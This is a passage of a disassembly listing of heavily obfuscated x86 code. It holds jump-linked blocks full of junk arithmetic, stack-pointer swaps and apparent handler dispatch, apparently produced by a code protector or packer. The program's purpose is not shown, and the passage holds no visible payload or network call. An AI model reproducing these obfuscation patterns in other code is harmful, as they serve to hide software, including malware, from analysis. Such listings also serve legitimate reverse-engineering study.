[esp-6E98h+arg_6E8E+2] jmp loc_598AA1 ; --------------------------------------------------------------------------- loc_596579: ; CODE XREF: sub_581EE9+1E299j add edi, 4 jmp loc_5A26F1 ; --------------------------------------------------------------------------- loc_596584: ; CODE XREF: sub_581EE9+22174j mov [esp-6E98h+arg_6E8E+2], edx mov dh, 11h mov bh, dh pop edx jmp loc_5A5740 ; --------------------------------------------------------------------------- loc_596591: ; CODE XREF: sub_581EE9+238D2j xor ebp, [esp-6E9Ch+arg_6E92+2] mov esp, [esp-6E9Ch+arg_6E92+2] imul cx, ax push cx pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5965A3: ; CODE XREF: sub_581EE9+17CB4j push eax mov eax, esp jmp loc_5A588D ; --------------------------------------------------------------------------- loc_5965AB: ; CODE XREF: sub_581EE9+1494Dj sub eax, edi pop edi add esi, eax jmp loc_5A31FA ; --------------------------------------------------------------------------- loc_5965B5: ; CODE XREF: sub_581EE9+160D0j pop eax sub al, 82h add al, ch jmp loc_59AC8C ; --------------------------------------------------------------------------- loc_5965BF: ; CODE XREF: sub_581EE9+15E8Bj sub edi, eax jmp loc_59B5C4 ; --------------------------------------------------------------------------- loc_5965C6: ; CODE XREF: sub_581EE9+1456Bj mov edi, [esp-6E96h+arg_6E8E] jmp loc_59822C ; --------------------------------------------------------------------------- loc_5965CE: ; CODE XREF: sub_581EE9+185FEj sub esi, ecx pop ecx xchg esi, [esp-6E9Ah+arg_6E92] mov esp, [esp-6E9Ah+arg_6E92] jmp loc_592F76 ; --------------------------------------------------------------------------- loc_5965DC: ; CODE XREF: sub_581EE9+12A64j add esp, 4 jmp loc_5A5B90 ; --------------------------------------------------------------------------- loc_5965E4: ; CODE XREF: sub_581EE9+12355j add esp, 4 sub ax, di pop edi jmp loc_5A249C ; --------------------------------------------------------------------------- loc_5965F3: ; CODE XREF: sub_581EE9+14F0Aj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5965F8: ; CODE XREF: sub_581EE9+1B899j dec ebp dec ebp xor ebp, 66966329h dec ebp jmp loc_597EE3 ; --------------------------------------------------------------------------- loc_596606: ; CODE XREF: sub_581EE9+13172j mov ebp, 4 jmp loc_59668C ; --------------------------------------------------------------------------- loc_596610: ; CODE XREF: sub_581EE9+1F97Ej mov [esp-6EA2h+arg_6E9A], ebp push ecx mov ecx, 4 push ecx sub [esp-6E9Ah+arg_6E92], 270F2FDFh pop ebp add ebp, 270F2FDFh pop ecx add esi, ebp pop ebp add esi, 4 jmp loc_5A6BCE ; --------------------------------------------------------------------------- loc_596634: ; CODE XREF: sub_581EE9+19F0Bj xor ebx, [esp-6EA6h+arg_6E9E] jmp loc_59E3D1 ; --------------------------------------------------------------------------- loc_59663C: ; CODE XREF: sub_581EE9+1E1AEj shr eax, 4 jmp loc_596C77 ; --------------------------------------------------------------------------- loc_596644: ; CODE XREF: sub_581EE9+15DB5j neg esi not esi inc esi xor esi, 8395E745h and ebx, esi push [esp-6EA6h+arg_6E9E] jmp loc_59DD26 ; --------------------------------------------------------------------------- loc_596659: ; CODE XREF: sub_581EE9+134A2j sub ebp, 281E1068h pop ebx push eax mov eax, 4 sub ebp, eax mov eax, [esp-6E6Ah+arg_6E60+2] add esp, 4 xor ebp, [esp-6E6Eh+arg_6E64+2] jmp loc_598057 ; --------------------------------------------------------------------------- loc_596676: ; CODE XREF: sub_581EE9+124F1j xor edi, edx pop edx add ebx, edi mov edi, [esp-6E9Eh+arg_6E96] add esp, 4 xchg ebx, [esp-6EA2h+arg_6E9A] jmp loc_5A48A0 ; --------------------------------------------------------------------------- loc_59668C: ; CODE XREF: sub_581EE9+14722j add edx, ebp jmp loc_59ADC3 ; --------------------------------------------------------------------------- loc_596693: ; CODE XREF: sub_581EE9+23073j sub eax, 0D670174Fh mov esi, eax pop eax jmp loc_59EABB ; --------------------------------------------------------------------------- loc_5966A0: ; CODE XREF: sub_581EE9+20A7Cj mov ebx, 24h add ebx, edi push 6D39h mov [esp-6EA2h+arg_6E9A], eax push esi push eax mov eax, 264C0ADBh mov esi, eax pop eax sub esi, 0C34F871h mov eax, esi mov esi, [esp-6E9Eh+arg_6E96] push ebx mov ebx, esp jmp loc_59E637 ; --------------------------------------------------------------------------- loc_5966CC: ; CODE XREF: sub_581EE9+10989j xor edx, 5DCA4FC7h add eax, edx pop edx sub eax, 4 jmp loc_598D8E ; --------------------------------------------------------------------------- loc_5966DF: ; CODE XREF: sub_581EE9+148B7j add esi, 4 xchg esi, [esp-6EC4h+arg_6EBA+2] pop esp jmp loc_5A49A5 ; --------------------------------------------------------------------------- loc_5966EB: ; CODE XREF: sub_581EE9+1582Aj pop ax sub bx, ax jmp loc_5A65A3 ; --------------------------------------------------------------------------- loc_5966F5: ; CODE XREF: sub_581EE9+22703j push [esp-6ECAh+arg_6EC2] push [esp-6EC6h+arg_6EBE] jmp loc_59CABA ; --------------------------------------------------------------------------- loc_596700: ; CODE XREF: sub_581EE9+2093Dj mov esi, 5C9A0BBBh and esi, 2DD626CAh shr esi, 8 jmp loc_5957B3 ; --------------------------------------------------------------------------- loc_596713: ; CODE XREF: sub_581EE9+1AACAj sub eax, edx jmp loc_5A154D ; --------------------------------------------------------------------------- loc_59671A: ; CODE XREF: sub_581EE9+25103j push edx mov edx, 7DFD4D03h sub edx, 729D245Bh jmp loc_5A4488 ; --------------------------------------------------------------------------- loc_59672B: ; CODE XREF: sub_581EE9+1F591j sub esi, 1 jmp loc_5A29B6 ; --------------------------------------------------------------------------- loc_596736: ; CODE XREF: sub_581EE9+14FC2j push eax push edx push esp mov edx, [esp-6EB2h+arg_6EA8+2] add esp, 4 push 35A3h mov [esp-6EB2h+arg_6EA8+2], ebp push edi mov edi, 4 mov ebp, edi pop edi add edx, ebp jmp loc_5A4D7B ; --------------------------------------------------------------------------- loc_59675A: ; CODE XREF: sub_581EE9+1DF71j mov ebx, [esp-6EB2h+arg_6EA8+2] add esp, 4 pop ebx push esi push 3F97746Bh jmp loc_5A164F ; --------------------------------------------------------------------------- loc_59676C: ; CODE XREF: sub_581EE9+127A2j and ebx, 7AA243D4h add ebx, 0D643F1Fh inc ebx add ebx, 0E7302F5Dh mov ecx, ebx pop ebx sub eax, ecx jmp loc_5A0410 ; --------------------------------------------------------------------------- loc_596789: ; CODE XREF: sub_581EE9+170B2j add esp, 4 xchg ecx, [esp-6E6Eh+arg_6E64+2] mov esp, [esp-6E6Eh+arg_6E64+2] jmp loc_5A08E9 ; --------------------------------------------------------------------------- loc_59679A: ; CODE XREF: sub_581EE9+1907Cj add esi, 4 jmp loc_5966DF ; --------------------------------------------------------------------------- loc_5967A5: ; CODE XREF: sub_581EE9+22B60j add al, 0E3h sub al, 0Ch jmp loc_596CB3 ; --------------------------------------------------------------------------- loc_5967AE: ; CODE XREF: sub_581EE9+1C14Ej pop ecx xchg esi, [esp-6E72h+arg_6E68+2] pop esp mov ax, word ptr [esp-6E76h+arg_6E6E] push 544Eh mov [esp-6E72h+arg_6E68+2], esi push 37CEh push 107Fh push esp pop [esp-6E66h+arg_6E5C+2] push edx mov edx, 4 jmp loc_59705E ; --------------------------------------------------------------------------- loc_5967D8: ; CODE XREF: sub_581EE9+2300Cj xor ebx, 172F327Fh push edi mov edi, 34933474h sub ebx, edi pop edi xor ebx, 0FCF3EADBh push 4FBCh mov [esp-6E62h+arg_6E58+2], esi mov esi, 5B723DD3h jmp loc_5A10B2 ; --------------------------------------------------------------------------- loc_5967FF: ; CODE XREF: sub_581EE9+193ABj add esp, 4 jmp loc_59958F ; --------------------------------------------------------------------------- loc_59680A: ; CODE XREF: sub_581EE9+22C14j neg ebp push ecx push eax mov eax, 52D445D9h jmp loc_59F95E ; --------------------------------------------------------------------------- loc_596818: ; CODE XREF: sub_581EE9+1A7C7j pop ecx xchg esi, [esp-6E62h+arg_6E58+2] pop esp mov ebx, [esp-6E66h+arg_6E5C+2] add esp, 4 add [esp-6E6Ah+arg_6E64+2], edi mov edi, [esp-6E6Ah+arg_6E60+2] jmp loc_5A47E7 ; --------------------------------------------------------------------------- loc_59682F: ; CODE XREF: sub_581EE9+236A7j dec eax push edi mov edi, 9000303h jmp loc_5965AB ; --------------------------------------------------------------------------- loc_59683B: ; CODE XREF: sub_581EE9+18CDDj pop [esp-6E66h+arg_6E5C+2] jmp loc_5A6EE8 ; --------------------------------------------------------------------------- loc_596843: ; CODE XREF: sub_581EE9+16372j mov [esp-6E6Ah+arg_6E60+2], esi push esp mov esi, [esp-6E66h+arg_6E5C+2] jmp loc_5A2F10 ; --------------------------------------------------------------------------- loc_59684F: ; CODE XREF: sub_581EE9+1FF51j mov [esp-6E66h+arg_6E5C+2], esi mov esi, esp jmp loc_594AC9 ; --------------------------------------------------------------------------- loc_596859: ; CODE XREF: sub_581EE9+17A8Fj add ebx, ecx add ebx, 65FA3386h jmp loc_5A1DBD ; --------------------------------------------------------------------------- loc_596866: ; CODE XREF: sub_581EE9+1DAFEj mov edx, 0EF55C08h mov edi, edx mov edx, [esp-6E66h+arg_6E5C+2] add esp, 4 xor edi, 19F27CE8h push esi jmp loc_599D73 ; --------------------------------------------------------------------------- loc_596882: ; CODE XREF: sub_581EE9+24D19j add [esp-6E66h+arg_6E5C+2], 4AEC5849h jmp loc_5A66CB ; --------------------------------------------------------------------------- loc_59688E: ; CODE XREF: sub_581EE9+12CB3j pop eax mov ecx, 40D13162h push esi mov esi, 4A969E9h shl esi, 7 jmp loc_59815F ; --------------------------------------------------------------------------- loc_5968A2: ; CODE XREF: sub_581EE9+21438j sub bx, bp jmp loc_5A571E ; --------------------------------------------------------------------------- loc_5968AA: ; CODE XREF: sub_581EE9+1A8F5j pop bx sub al, 0DCh xor dh, al mov eax, [esp-6E92h+arg_6E8A] add esp, 4 shl dh, 7 jmp loc_5A1F1E ; --------------------------------------------------------------------------- loc_5968BE: ; CODE XREF: sub_581EE9+1ED65j add esp, 4 jmp loc_59D1AA ; --------------------------------------------------------------------------- loc_5968C9: ; CODE XREF: sub_581EE9+15B58j pop ecx add edx, edi pop edi add edx, eax push ebp push edx jmp loc_59D72E ; --------------------------------------------------------------------------- loc_5968D6: ; CODE XREF: sub_581EE9+110C2j push edi mov edi, 3F875303h jmp loc_59264F ; --------------------------------------------------------------------------- loc_5968E1: ; CODE XREF: sub_581EE9+204CDj push edi mov edi, 24273BBEh and edi, 3C9672Eh shr edi, 6 add edi, 25B3905h not edi add edi, 20D79AE4h mov esi, edi mov edi, [esp-6E56h+arg_6E4C+2] add esp, 4 push edi mov edi, 4272735Eh add [esp-6E56h+arg_6E54+2], edi pop edi sub [esp-6E5Ah+arg_6E54+2], esi sub [esp-6E5Ah+arg_6E54+2], 4272735Eh mov esi, [esp-6E5Ah+arg_6E50+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_594DBE ; --------------------------------------------------------------------------- loc_596934: ; CODE XREF: sub_581EE9+17889j push [esp-6E56h+arg_6E4C+2] jmp loc_5A4A11 ; --------------------------------------------------------------------------- loc_59693C: ; CODE XREF: sub_581EE9+1572Aj mov esp, [esp-6E52h+arg_6E48+2] mov cx, word ptr [esp-6E52h+arg_6E48+2] push 6D83h mov [esp-6E4Eh+arg_6E44+2], ecx sub esp, 4 push esp pop [esp-6E46h+arg_6E3E] push 5B49h mov [esp-6E46h+arg_6E3E], ecx push 4 pop ecx jmp loc_59B0DB ; --------------------------------------------------------------------------- loc_596965: ; CODE XREF: sub_581EE9+176E3j pop [esp-6E46h+arg_6E3E] mov esp, [esp+0] jmp loc_59EFFD ; --------------------------------------------------------------------------- loc_596970: ; CODE XREF: sub_581EE9+1B1E8j add edx, esi pop esi sub edx, 4 jmp loc_5A39E3 ; --------------------------------------------------------------------------- loc_59697E: ; CODE XREF: sub_581EE9+1FA4Ej mov ebx, [esp-6E4Eh+arg_6E44+2] add esp, 4 push eax mov eax, 1DA15B22h xor eax, 178C7F40h jmp loc_5A6203 ; --------------------------------------------------------------------------- loc_596994: ; CODE XREF: sub_581EE9+1111Aj pop esp jmp loc_59C29B ; --------------------------------------------------------------------------- loc_59699A: ; CODE XREF: sub_581EE9+1E323j push ebp mov ebp, esp jmp loc_595FB8 ; --------------------------------------------------------------------------- loc_5969A2: ; CODE XREF: sub_581EE9+23368j mov esi, 13AF132Fh add esi, 6A283CA4h or esi, 14875976h shl esi, 2 sub esi, 5B684DB4h jmp loc_5921CD ; --------------------------------------------------------------------------- loc_5969C1: ; CODE XREF: sub_581EE9+1EA45j xor eax, 76BE33E1h shl eax, 5 push edi mov edi, 673C172Eh sub edi, 11F9151Eh jmp loc_596C6A ; --------------------------------------------------------------------------- loc_5969DA: ; CODE XREF: sub_581EE9+161F4j push ebp jmp loc_594DF9 ; --------------------------------------------------------------------------- loc_5969E0: ; CODE XREF: sub_581EE9+20542j add esp, 4 add esp, 4 pop eax jmp loc_59A214 ; --------------------------------------------------------------------------- loc_5969EF: ; CODE XREF: sub_581EE9+132B9j sub al, 0Ch jmp loc_5990C6 ; --------------------------------------------------------------------------- loc_5969F6: ; CODE XREF: sub_581EE9+22A33j sub ebx, 176F2ACCh sub edi, ebx pop ebx jmp loc_5A2951 ; --------------------------------------------------------------------------- loc_596A04: ; CODE XREF: sub_581EE9+16568j pop ebx add esp, 4 jmp loc_598427 ; --------------------------------------------------------------------------- loc_596A10: ; CODE XREF: sub_581EE9+18AA9j mov [esp-6EBAh+arg_6EB2], edi mov edi, 201D6756h push ecx mov ecx, 1A5A58FFh not ecx push edx jmp loc_5A4459 ; --------------------------------------------------------------------------- loc_596A26: ; CODE XREF: sub_581EE9+1E07Bj mov ebp, edi pop edi add esi, ebp mov ebp, [esp-6EB6h+arg_6EAC+2] jmp loc_59547E ; --------------------------------------------------------------------------- loc_596A33: ; CODE XREF: sub_581EE9+151CDj push eax mov eax, 4 jmp loc_5A606F ; --------------------------------------------------------------------------- loc_596A3E: ; CODE XREF: sub_581EE9+11980j mov [esp-6EA0h+arg_6E96+2], esp add [esp-6EA0h+arg_6E96+2], 4 pop [esp-6EA0h+arg_6E96+2] add [esp-6EA4h+arg_6E9A+2], 4 jmp loc_5A1F17 ; --------------------------------------------------------------------------- loc_596A54: ; CODE XREF: sub_581EE9+1652Cj push edx mov edx, 4 sub ecx, 5324122h jmp loc_5986D3 ; --------------------------------------------------------------------------- loc_596A65: ; CODE XREF: sub_581EE9+1D648j mov al, 4Dh mov ch, 0EDh jmp loc_5992D9 ; --------------------------------------------------------------------------- loc_596A6E: ; CODE XREF: sub_581EE9+18931j push 0C83h mov [esp-6E9Ch+arg_6E92+2], esi push eax push 2E751B22h pop eax or eax, 13116D49h jmp loc_59E721 ; --------------------------------------------------------------------------- loc_596A87: ; CODE XREF: sub_581EE9+1452Bj add di, 25B9h add di, 3969h add di, ax sub di, 3969h jmp loc_5A52ED ; --------------------------------------------------------------------------- loc_596A9E: ; CODE XREF: sub_581EE9+24D99j pop ebx jmp loc_5A396F ; --------------------------------------------------------------------------- loc_596AA4: ; CODE XREF: sub_581EE9+24795j sub ebx, 0BD4AE91Fh add ecx, ebx pop ebx add ecx, edi sub ecx, 71AF74A1h jmp loc_5A4CE4 ; --------------------------------------------------------------------------- loc_596ABA: ; CODE XREF: sub_581EE9+1895Dj mov cl, 0AEh not cl push ecx jmp loc_59D3A4 ; --------------------------------------------------------------------------- loc_596AC4: ; CODE XREF: sub_581EE9+236E1j sub ebp, 4 xchg ebp, [esp+0] jmp loc_5A32BB ; --------------------------------------------------------------------------- loc_596ACF: ; CODE XREF: sub_581EE9+1D3A0j shr ecx, 5 neg ecx not ecx inc ecx push ebp mov ebp, 3C34DF32h xor ecx, ebp jmp loc_5A4FC7 ; --------------------------------------------------------------------------- loc_596AE4: ; CODE XREF: sub_581EE9+135F7j sub bl, 37h sub bl, ch add bl, 37h add bl, 0DBh pop ecx movzx eax, al push dword ptr [edi+eax*4] push 65F0h mov [esp-6E70h+arg_6E68], ebp jmp loc_59B3AE ; --------------------------------------------------------------------------- loc_596B03: ; CODE XREF: sub_581EE9+10E7Fj push 565Bh mov [esp-6E62h+arg_6E58+2], ebp push edx push 479E2E9Dh pop edx sub edx, 26C00904h push esi mov esi, 9714AACh add esi, 62D0C8CFh jmp loc_593E13 ; --------------------------------------------------------------------------- loc_596B29: ; CODE XREF: sub_581EE9+16D4Dj add esp, 4 jmp loc_5994DE ; --------------------------------------------------------------------------- loc_596B31: ; CODE XREF: sub_581EE9+1FC00j mov [esp-6E5Eh+arg_6E54+2], ebp mov ebp, 8B60B94h sub esp, 4 mov [esp-6E5Ah+arg_6E50+2], esi mov esi, 792B47C7h xor ebp, esi jmp loc_5975B8 ; --------------------------------------------------------------------------- loc_596B4B: ; CODE XREF: sub_581EE9+1A45Dj mov esp, [esp-6E5Ah+arg_6E50+2] mov word ptr [esp-6E5Ah+arg_6E50+2], ax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_596B57: ; CODE XREF: sub_581EE9+16ECEj pop esp add edi, 4 push 738Eh jmp loc_5A5E59 ; --------------------------------------------------------------------------- loc_596B68: ; CODE XREF: sub_581EE9+18DBEj add esp, 4 xor ebp, 26A773BCh add ebp, 9B75DD33h mov ebx, ebp pop ebp push ecx mov ecx, 3CFC0707h sub eax, ecx pop ecx add eax, ebx push ebp mov ebp, 3CFC0707h jmp loc_595DA4 ; --------------------------------------------------------------------------- loc_596B90: ; CODE XREF: sub_581EE9+1527Aj inc ebx shl ebx, 1 shl ebx, 4 push eax mov eax, 9D4AA748h sub ebx, eax pop eax sub ecx, ebx jmp loc_592E55 ; --------------------------------------------------------------------------- loc_596BA6: ; CODE XREF: sub_581EE9+21F45j add ebx, 4 push edi mov edi, 238D06FCh push ebx mov ebx, 5B63659Dh jmp loc_59358A ; --------------------------------------------------------------------------- loc_596BBD: ; CODE XREF: sub_581EE9+11553j neg ecx dec ecx xor ecx, 974EA1FFh dec ecx dec ecx or ecx, 13110F2Dh push ebx mov ebx, 0E8B7D8Bh add ebx, 5446947h add ebx, 14A949D0h sub ecx, ebx pop ebx jmp loc_5991E2 ; --------------------------------------------------------------------------- loc_596BE8: ; CODE XREF: sub_581EE9+1281Bj push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-6E7Ch+arg_6E72+2] jmp loc_5A7131 ; --------------------------------------------------------------------------- loc_596BFF: ; CODE XREF: sub_581EE9+13F27j mov edx, [esp+0] add esp, 4 add edx, 4 sub edx, 4 jmp loc_5A5198 ; --------------------------------------------------------------------------- loc_596C19: ; CODE XREF: sub_581EE9+2128Cj shr eax, 2 shl eax, 8 add eax, 1 sub esp, 4 mov [esp+0], edi mov edi, 0E52585E0h add eax, edi mov edi, [esp+0] add esp, 4 xor edx, eax pop eax inc edx jmp loc_59860E ; --------------------------------------------------------------------------- loc_596C43: ; CODE XREF: sub_581EE9+233CAj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_596C48: ; CODE XREF: sub_581EE9+24078j add edi, ebp pop ebp sub esi, edi pop edi push ebp mov ebp, 5E7E4A1Fh xor esi, ebp mov ebp, [esp-6E9Ch+arg_6E92+2] add esp, 4 xor esi, 0E2DF78D5h mov ebx, esi pop esi jmp loc_5A6C98 ; --------------------------------------------------------------------------- loc_596C6A: ; CODE XREF: sub_581EE9+14AECj not edi sub edi, 11555D5Dh jmp loc_5A3590 ; --------------------------------------------------------------------------- loc_596C77: ; CODE XREF: sub_581EE9+14756j shl eax, 5 jmp loc_5A5FDF ; --------------------------------------------------------------------------- loc_596C7F: ; CODE XREF: sub_581EE9+1D79Dj mov esi, esp push ebp push 7B9Eh jmp loc_5956C0 ; --------------------------------------------------------------------------- loc_596C8C: ; CODE XREF: sub_581EE9+244D2j add edi, 2C13DA0Fh add ecx, 6351F06h sub ecx, 746F325Ch sub ecx, 6EA67095h sub ecx, edi push 7EC4h mov [esp-6E9Ah+arg_6E92], eax jmp loc_5A5C9E ; --------------------------------------------------------------------------- loc_596CB3: ; CODE XREF: sub_581EE9+148C0j add al, bl add al, 0Ch sub al, 0E3h jmp loc_5A4C17 ; --------------------------------------------------------------------------- loc_596CBE: ; CODE XREF: sub_581EE9+192A9j inc ebx or ebx, 254F0CCDh shl ebx, 3 add ebx, 0B351B740h mov edi, ebx pop ebx add edi, 0FFFFFFFFh sub edi, 22CA2623h add ebp, edi jmp loc_5A0DD4 ; --------------------------------------------------------------------------- loc_596CE1: ; CODE XREF: sub_581EE9+176D9j pop eax jmp loc_595C68 ; --------------------------------------------------------------------------- loc_596CE7: ; CODE XREF: sub_581EE9+17D16j mov edx, 7A701962h sub edx, 44A69A2Eh and ecx, edx pop edx push ecx not [esp-6E76h+arg_6E6E] pop ecx xchg edx, ecx not edx xchg edx, ecx push eax mov eax, 435207ADh sub eax, 861F85Eh jmp loc_598B04 ; --------------------------------------------------------------------------- loc_596D10: ; CODE XREF: sub_581EE9+1315Dj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-6EA6h+arg_6E9E] pop esp jmp loc_5A3C15 ; --------------------------------------------------------------------------- loc_596D27: ; CODE XREF: sub_581EE9+22208j mov dword ptr [esp-6EAAh+arg_6EA2], ebx jmp loc_5940AC ; --------------------------------------------------------------------------- loc_596D2F: ; CODE XREF: sub_581EE9+21A6Dj xor edx, dword ptr [esp-6EAAh+arg_6EA2] xor dword ptr [esp-6EAAh+arg_6EA2], edx xor edx, dword ptr [esp-6EAAh+arg_6EA2] mov esp, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_598C51 ; --------------------------------------------------------------------------- loc_596D40: ; CODE XREF: sub_581EE9+21022j push 6C24h mov [esp-6EA6h+arg_6E9E], edx push 4AADh jmp loc_597863 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_596D59: ; CODE XREF: sub_581EE9+1C285j push esp jmp loc_599789 ; --------------------------------------------------------------------------- loc_596D5F: ; CODE XREF: sub_581EE9+15A77j push 653Fh mov [esp-6E96h+arg_6E8E], eax push [esp-6E96h+arg_6E92] mov eax, [esp-6E92h+arg_6E8A] add esp, 4 pop [esp-6E96h+arg_6E8E] pop esp mov [esp-6E9Eh+arg_6E96], edi mov edi, 473F6518h shl edi, 1 jmp loc_59BD6A ; --------------------------------------------------------------------------- loc_596D87: ; CODE XREF: sub_581EE9+1673Ej mov [esp-6E9Eh+arg_6E96], edi push esi push edx mov edx, 460D65D5h mov esi, 0D31DB233h jmp loc_59B100 ; --------------------------------------------------------------------------- loc_596D9B: ; CODE XREF: sub_581EE9+24315j add eax, 6B6115Dh add eax, edx sub eax, 6B6115Dh push edi mov edi, 19DA1BBFh sub edi, 43D264C2h sub edi, 0A106D4Bh add edi, 72F7C146h jmp loc_597494 ; --------------------------------------------------------------------------- loc_596DC4: ; CODE XREF: sub_581EE9+1A581j not ebx xor ebx, 98EBBA28h jmp loc_5A719F ; --------------------------------------------------------------------------- loc_596DD1: ; CODE XREF: sub_581EE9+24E2Ej pop esp xor ebp, [esp-6E96h+arg_6E8E] xor [esp-6E96h+arg_6E8E], ebp xor ebp, [esp-6E96h+arg_6E8E] jmp loc_59E5F3 ; --------------------------------------------------------------------------- loc_596DE0: ; CODE XREF: sub_581EE9+10F67j push eax jmp loc_59D2E6 ; --------------------------------------------------------------------------- loc_596DE6: ; CODE XREF: sub_581EE9+20F8Fj push [esp-6E5Eh+arg_6E58+2] pop edi pop [esp-6E5Eh+arg_6E54+2] pop esp sub [esp-6E66h+arg_6E5C+2], eax pushf jmp loc_5965F3 ; --------------------------------------------------------------------------- loc_596DF8: ; CODE XREF: sub_581EE9+1790Aj mov ebp, 12820E0Eh add ebp, 0FFFFFFFFh jmp loc_59B0C2 ; --------------------------------------------------------------------------- loc_596E08: ; CODE XREF: sub_581EE9+1A154j add eax, esi jmp loc_5A01B6 ; --------------------------------------------------------------------------- loc_596E0F: ; CODE XREF: sub_581EE9+10365j push ecx mov ecx, 30CC4D0Dh sub eax, 44374B99h add eax, ecx push ebx mov ebx, 44374B99h add eax, ebx jmp loc_59CE45 ; --------------------------------------------------------------------------- loc_596E29: ; CODE XREF: sub_581EE9+2348Aj push edx mov edx, 4 add ecx, edx pop edx jmp loc_5921E4 ; --------------------------------------------------------------------------- loc_596E37: ; CODE XREF: sub_581EE9+137D2j push [esp-6E46h+arg_6E3E] pop ecx add esp, 4 jmp loc_5970A7 ; --------------------------------------------------------------------------- loc_596E43: ; CODE XREF: sub_581EE9+16190j sub bl, al jmp loc_59A530 ; --------------------------------------------------------------------------- loc_596E4A: ; CODE XREF: sub_581EE9+201E8j add ebp, 0CEF6DE2Ah jmp loc_59CE38 ; --------------------------------------------------------------------------- loc_596E55: ; CODE XREF: sub_581EE9+24A81j inc ecx shr ecx, 4 jmp loc_5A4562 ; --------------------------------------------------------------------------- loc_596E5E: ; CODE XREF: sub_581EE9+1EF16j add bl, 0D6h sub bl, 8Eh add bl, 6Ch push ecx mov ch, bl mov dh, ch pop ecx jmp loc_59232A ; --------------------------------------------------------------------------- loc_596E72: ; CODE XREF: sub_581EE9+160A5j mov ecx, 8090D26h sub ebx, 0D5C0CC1h add ebx, 4D2A461Fh add ebx, ecx sub ebx, 4D2A461Fh add ebx, 0D5C0CC1h push dword ptr [esp+0] pop ecx add esp, 4 add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp-6E52h+arg_6E48+2] mov esp, [esp-6E52h+arg_6E48+2] mov [esp-6E52h+arg_6E48+2], ebx pop eax pop ebx not ebx jmp loc_596736 ; --------------------------------------------------------------------------- loc_596EB0: ; CODE XREF: sub_581EE9+21B02j push [esp-6E5Ah+arg_6E54+2] pop edx jmp loc_599654 ; --------------------------------------------------------------------------- loc_596EBA: ; CODE XREF: sub_581EE9+171F4j xor edi, ebp xor [esp-6E5Ah+arg_6E50+2], edi xor edi, [esp-6E5Ah+arg_6E50+2] jmp loc_598AAF ; --------------------------------------------------------------------------- loc_596EC7: ; CODE XREF: sub_581EE9+1CB4Cj sub edx, ebp sub edx, 3C550939h push ebp mov ebp, 4BA53CEDh sub edx, ebp pop ebp jmp loc_59ACDE ; --------------------------------------------------------------------------- loc_596EDD: ; CODE XREF: sub_581EE9+121BEj sub dl, 87h sub dl, ch jmp loc_5A0825 ; --------------------------------------------------------------------------- loc_596EE7: ; CODE XREF: sub_581EE9+23C6Fj pop esp jmp loc_5949DC ; --------------------------------------------------------------------------- loc_596EED: ; CODE XREF: sub_581EE9+18EBFj mov ecx, 0D02D282Eh jmp loc_595D34 ; --------------------------------------------------------------------------- loc_596EF7: ; CODE XREF: sub_581EE9+19F69j mov edx, 71E11E55h sub ebx, edx pop edx add ebx, eax push edi mov edi, 67BD476Ch add edi, 0A23D6E9h jmp loc_5A497C ; --------------------------------------------------------------------------- loc_596F12: ; CODE XREF: sub_581EE9+161E4j push [esp-6E7Ah+arg_6E76] jmp loc_5A088D ; --------------------------------------------------------------------------- loc_596F1B: ; CODE XREF: sub_581EE9+1CDA2j xor [esp-6E76h+arg_6E6E], edi xor edi, [esp-6E76h+arg_6E6E] mov esp, [esp-6E76h+arg_6E6E] sub ecx, 1DBC0D64h push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-6E72h+arg_6E68+2] pop esp mov [esp-6E76h+arg_6E6E], ecx sub esp, 4 jmp loc_5A2385 ; --------------------------------------------------------------------------- loc_596F48: ; CODE XREF: sub_581EE9+152EBj pop ecx sub esp, 4 mov [esp-6E72h+arg_6E68+2], esi jmp loc_59236F ; --------------------------------------------------------------------------- loc_596F54: ; CODE XREF: sub_581EE9+12B08j pop esp push dword ptr [edi+eax*4] push [esp-6E64h+arg_6E5C] pop eax sub esp, 4 mov [esp-6E60h+arg_6E58], edi jmp loc_5A009C ; --------------------------------------------------------------------------- loc_596F67: ; CODE XREF: sub_581EE9+1F286j sub ebx, 4AE4240Bh xor ebx, 93E5FC8Eh sub edx, 3187EFDh add edx, ebx add edx, 3187EFDh pop ebx push ebx mov ebx, 6A976887h or ebx, 0EC560F2h jmp loc_5A18BC ; --------------------------------------------------------------------------- loc_596F93: ; CODE XREF: sub_581EE9+211EFj push edx push [esp-6E5Ch+arg_6E58] pop edx pop [esp-6E5Ch+arg_6E54] pop esp jmp loc_59550D ; --------------------------------------------------------------------------- loc_596FA2: ; CODE XREF: sub_581EE9+1CF48j xchg ebx, [esp-6E64h+arg_6E5C] pop esp push edx jmp loc_59A391 ; --------------------------------------------------------------------------- loc_596FAC: ; CODE XREF: sub_581EE9+1DA70j xor ecx, [esp-6E64h+arg_6E5C] pop esp or eax, eax jz loc_5A4482 push dword ptr [edi+1Ch] push [esp-6E64h+arg_6E5C] mov ecx, [esp-6E60h+arg_6E58] push edx mov edx, esp push esi mov esi, 5B534E3Bh xchg edi, esi not edi jmp loc_59CDD5 ; --------------------------------------------------------------------------- loc_596FD3: ; CODE XREF: sub_581EE9+216F7j pop edi inc edi sub edi, 1C9C6D37h jmp loc_5A6375 ; --------------------------------------------------------------------------- loc_596FE0: ; CODE XREF: sub_581EE9+1F6D7j push eax push 4D8Eh mov [esp-6E54h+arg_6E4C], edx mov dh, 0E5h mov al, dh jmp loc_5A2EEA ; --------------------------------------------------------------------------- loc_596FF2: ; CODE XREF: sub_581EE9+157B3j xor edx, 16966401h push ebx mov ebx, 0FFFFFFFFh add edx, ebx pop ebx dec edx jmp loc_5935F7 ; --------------------------------------------------------------------------- loc_597007: ; CODE XREF: sub_581EE9+1C178j mov ebx, 2CF373BFh inc ebx jmp loc_593211 ; --------------------------------------------------------------------------- loc_597012: ; CODE XREF: sub_581EE9+208DBj pop ebx and edx, 435356A7h xor edx, 43104421h jmp loc_59A914 ; --------------------------------------------------------------------------- loc_597024: ; CODE XREF: sub_581EE9+16E6Cj add ebx, 4 add ebx, 